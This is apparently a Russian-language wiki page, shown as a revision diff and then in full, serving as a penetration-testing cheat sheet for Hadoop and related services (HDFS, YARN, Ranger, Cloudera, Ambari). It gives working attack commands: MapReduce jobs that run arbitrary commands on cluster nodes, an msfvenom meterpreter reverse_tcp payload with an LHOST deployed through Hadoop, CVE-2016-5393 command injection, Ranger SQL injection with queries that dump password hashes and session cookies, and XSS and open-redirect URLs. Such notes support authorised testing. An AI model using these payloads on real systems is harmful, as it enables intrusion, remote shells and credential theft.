Hadoop — различия между версиями
Drakylar (обсуждение | вклад) м (→Hadoop Attack Library) |
Drakylar (обсуждение | вклад) м (→Admin service) |
||
(не показано 12 промежуточных версий этого же участника) | |||
Строка 96: | Строка 96: | ||
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
− | nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop*" АДРЕСА | + | nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА |
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 139: | Строка 139: | ||
-background | -background | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | === RCE - CVE-2016-5393 === | ||
+ | |||
+ | '''Уязвимая версия:''' Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3 | ||
+ | |||
+ | '''Требования:''' должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml) | ||
+ | |||
+ | |||
+ | Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c": | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | hdfs groups '$(ping 127.0.0.1)' | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth": | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | .../?user.name=$(ping+127.0.0.1) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user | ||
= HDFS = | = HDFS = | ||
Строка 146: | Строка 166: | ||
== Сервисы == | == Сервисы == | ||
− | === MasterNode WebUI === | + | === MasterNode (NameNode) WebUI === |
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе. | Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе. | ||
Строка 207: | Строка 227: | ||
− | === Secondary Node Checkpoint Service === | + | === Secondary Node Checkpoint Service (Secondary NameNode WebUI) === |
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище). | Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище). | ||
Строка 482: | Строка 502: | ||
/service/plugins/policies/download/<policy_name> | /service/plugins/policies/download/<policy_name> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download | ||
* CVE-2016-2174 - SQL injection. | * CVE-2016-2174 - SQL injection. | ||
Строка 493: | Строка 514: | ||
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3 | select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection | ||
=== UNIX Auth Service === | === UNIX Auth Service === | ||
Строка 531: | Строка 553: | ||
− | === Admin service == | + | === Admin service === |
Порт: 11001 | Порт: 11001 | ||
Строка 574: | Строка 596: | ||
Доступно только в MapReduce v1 | Доступно только в MapReduce v1 | ||
− | === JobTracker WebUI === | + | === JobTracker WebUI v1 === |
Порт: 50030 | Порт: 50030 | ||
Строка 587: | Строка 609: | ||
Доступно только в MapReduce v1 | Доступно только в MapReduce v1 | ||
− | === Jobhistory WebUI === | + | === Jobhistory WebUI v2 === |
Порт: 19888, 19890 | Порт: 19888, 19890 | ||
Строка 620: | Строка 642: | ||
− | === TaskTracker WebUI === | + | === TaskTracker WebUI v1 === |
Порт: 50060 | Порт: 50060 | ||
Строка 634: | Строка 656: | ||
Доступно только в MapReduce v1 | Доступно только в MapReduce v1 | ||
− | |||
=== History Server WebUI === | === History Server WebUI === | ||
Строка 711: | Строка 732: | ||
=== hadoopsnooper.py === | === hadoopsnooper.py === | ||
− | https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/ | + | https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/ |
Строка 718: | Строка 739: | ||
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020 | python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === hdfsbrowser.py === | ||
+ | |||
+ | https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake | ||
+ | |||
+ | Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | python hdfsbrowser.py 10.10.10.10 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Текущая версия на 11:57, 16 сентября 2022
Содержание
- 1 Общее
- 2 HDFS
- 3 YARN
- 3.1 Интерфейсы (сервисы)
- 3.1.1 Application Manager
- 3.1.2 Scheduler
- 3.1.3 ResourceManager Web Application
- 3.1.4 ResourceManager Tracker
- 3.1.5 ResourceManager Admin
- 3.1.6 NodeManager СontainerManager
- 3.1.7 NodeManager Localizer
- 3.1.8 NodeManager Collector Service
- 3.1.9 NodeManager WebUI
- 3.1.10 NodeManager Timeline RPC
- 3.1.11 NodeManager Timeline WebUI
- 3.1.12 SharedCacheManager Admin
- 3.1.13 SharedCacheManager WebUI
- 3.1.14 SharedCacheManager Node Manager
- 3.1.15 SharedCacheManager Client
- 3.1.16 NodeManager AMRMProxyService
- 3.1.17 Router WebUI
- 3.1.18 HttpFS (Hadoop HDFS over HTTP)
- 3.1 Интерфейсы (сервисы)
- 4 Apache HBASE
- 5 ZooKeeper
- 6 Apache Ambari
- 7 Apache Spark
- 8 Apache Kafka/Storm
- 9 Apache HIVE / DRILL
- 10 Mahout
- 11 Apache Solr / Lucene
- 12 Apache Ranger
- 13 OOZIE
- 14 PIG
- 15 Apache Hue
- 16 MapReduce
- 17 Cloudera
- 18 Утилиты
- 19 Ссылки
Общее
Получение конфига
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.
Сервисы
WebUI
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:
- HDFS WebUI (много потов)
- JobHistory (19888, 19890) - в приоритете
- ResourceManager (8088, 8090)
. . .
Уязвимости
Иногда конфиг можно скачать используя уязвимости ПО.
Cloudera Manager
Конфиг будет доступен по следующему адресу:
http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config
service_id_to_iterate - можно получить перебором 0-100(или больше).
Автоматически
HadoopSnooper
Позволяет скачать файлы конфига:
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020
Аутентификация
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.
Шифрование
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).
NameNode
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:
- GSS-API
- Digest-MD5
Web Apps
Как правило, используется SSL/TLS.
DataNodes
Шифрование может быть на 2 уровнях:
1. обмен ключами используя 3DES или RC4
2. Шифрование используя AES 128(default)/192/256.
At-rest
Означает хранилище файлов. Если кратко:
- Данные шифруются DEK-ключем (Data Encryption Key)
- DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)
Обратный процесс:
- EDEK запрашивается у NameNode
- Запрашиваем KMS расшифровать EDEK - получаем DEK
- Расшифровываем или зашифровываем данные с DEK.
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.
Поиск сервисов
nmap
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА
Общие атаки
Node RCE
Для этого требуется получить конфиг и настроить hadoop cli.
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar
Создаем задачу MapReduce:
hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE
Читаем результат команды:
hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000
Также результат команды можно увидеть в WebUI в консоли созданной задачи.
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.
Бонус: эксплоит можно сгенерировать с msfvenom:
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload
hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background
RCE - CVE-2016-5393
Уязвимая версия: Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3
Требования: должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":
hdfs groups '$(ping 127.0.0.1)'
Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":
.../?user.name=$(ping+127.0.0.1)
HDFS
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.
Сервисы
MasterNode (NameNode) WebUI
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).
MasterNode Metadata Service
Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.
Команды для взаимодействия:
# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp
DataNode WebUI
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.
Доступно по пути /browseDirectory.jsp
hdfsbrowser.py
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :
# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.
hadoop cli
Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:
export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000
Для этого может потребоваться конфиг hadoop (в основной главе)
DataNode Data Transfer
Сервис для передачи данных в DataNode. Использует порт 50010
# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>
DataNode Metadata Service
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.
Secondary Node Checkpoint Service (Secondary NameNode WebUI)
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).
YARN
Интерфейсы (сервисы)
Application Manager
Порт(tcp): 8032
Протокол: http
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.address
Scheduler
Порт(tcp): 8030
Протокол: http
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.scheduler.address
ResourceManager Web Application
Порт(tcp): 8088, 8090
Протокол: http(8088), https(8090)
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address
ResourceManager Tracker
Порт(tcp): 8031
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address
ResourceManager Admin
Порт(tcp): 8033
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.admin.address
NodeManager СontainerManager
Порт(tcp): 0
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.nodemanager.address
NodeManager Localizer
Порт(tcp): 8040
Протокол: ??? (IPC)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.localizer.address
NodeManager Collector Service
Порт(tcp): 8048
Протокол: ??? (IPC)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.collector-service.address
NodeManager WebUI
Порт(tcp): 8042, 8044
Протокол: http(8042), https(8044)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address
NodeManager Timeline RPC
Порт(tcp): 10200
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.timeline-service.address
NodeManager Timeline WebUI
Порт(tcp): 8188, 8190
Протокол: http(8188), https(8190)
Аутентификация: ???
Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address
Порт(tcp): 8047
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.admin.address
Порт(tcp): 8788
Протокол: ???(http)
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.webapp.address
Порт(tcp): 8046
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.uploader.server.address
Порт(tcp): 8045
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.sharedcache.client-server.address
NodeManager AMRMProxyService
Порт(tcp): 8049
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.nodemanager.amrmproxy.address
Router WebUI
Порт(tcp): 8089, 8091
Протокол: http(8089), https(8091)
Аутентификация: ???
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address
HttpFS (Hadoop HDFS over HTTP)
Порт(tcp): 14000, 14001
Протокол: http(14000), 14001(https)
Аутентификация: ???
Apache HBASE
ZooKeeper
Apache Ambari
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.
Из интересного:
- Все могут авторизоваться (даже стандартные юзеры)
- Нет защиты (directory listing, no cookie flags, no CSRF)
- CVE-2015-1775 - /logs/ логи
Сервисы
WebUI
Общение по протоколу http (порт 8080) и https (порт 8440).
Registration/Heartbeat
Общение по протоколу https на порту 8441.
Agent
Порт 8670/tcp используется для Ping.
Apache Spark
Apache Kafka/Storm
Apache HIVE / DRILL
Mahout
Apache Solr / Lucene
Apache Ranger
Компонент безопасности Hadoop с открытым исходным кодом.
Из интересного:
- Поддержка Kerberos
- REST API
- Журналы аудита
- Модель разрешений на основе политики доступа (политики, юзеры, группы)
Интересные ИБ-проблемы:
- Slow HTTP DOS
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий
- CVE-2015-0265 - XSS в UserAgent
TODO: изучить как работает
https://ranger.apache.org/apidocs/index.html - API документация
Сервисы
Admin WebUI
Порт: 6080, 6182
Протокол: http(6180),https(6182)
Параметр конфига: ranger.service.http.port, ranger.service.https.port
Уязвимости
- Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
/service/plugins/policies/download/<policy_name>
- CVE-2016-2174 - SQL injection.
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3
# post-exploitation: скачать сессии(куки) пользователей):
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3
UNIX Auth Service
Порт: 5151
Протокол: SSL/TCP
Параметр конфига: ranger.usersync.port
Ranger KMS
Порт: 9292, 9293
Протокол: http(9292), https(9293)
Параметр конфига: ranger.service.http.port, ranger.service.https.port
Solr Audit
Порт: 6083, 6183
Протокол: http(6083), https(6183)
Параметр конфига: ranger-admin (???)
OOZIE
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.
Сервисы
Web Console
Порт: 11000, 11443
Протокол: HTTP(11000), HTTPS(11443)
Admin service
Порт: 11001
Протокол: ???
PIG
Apache Hue
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.
MapReduce
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера
Сервисы
Jobhistory
Порт: 10020
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.address
JobTracker
Порт: 8021
Протокол: IPC
Аутентификация: ???
Параметр конфига: mapred.job.tracker
Доступно только в MapReduce v1
JobTracker WebUI v1
Порт: 50030
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapred.job.tracker.http.address
Доступно только в MapReduce v1
Jobhistory WebUI v2
Порт: 19888, 19890
Протокол: HTTP(19888), HTTPS(19890)
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address
Доступен только в MapReduce v2
Jobhistory Shufflee
Порт: 13562
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.shuffle.port
Jobhistory Shufflee WebUI
Порт: 19890
Протокол: HTTPS
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.webapp.https.address
TaskTracker WebUI v1
Порт: 50060
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapred.task.tracker.http.address
Доступно только в MapReduce v1
History Server WebUI
Порт: 51111
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.history.server.http.address
Cloudera
Экосистема Hadoop от компании Cloudera
Сервисы
HUE
Работает на порту 8888 по протоколу HTTP.
Уязвимости
- CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
/desktop/api/users/autocomplete
- CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.
- Open redirect (версия меньше или равна 3.9.0).
/accounts/login/?next=//[domain_name]
Manager
Работает на порту 7180(http) и 7183(https).
Уязвимости
- Получение списка пользователей (версия меньше или равна 5.5)
/api/v1/users
- Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
/api/v1/users/sessions
- Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log
- CVE-2016-4948 - Stored XSS (версия меньше или равна 5.5)
- CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1
Утилиты
Hadoop Attack Library
https://github.com/wavestone-cdt/hadoop-attack-library
hadoopsnooper.py
Скрипт для получения конфига hadoop
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020
hdfsbrowser.py
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10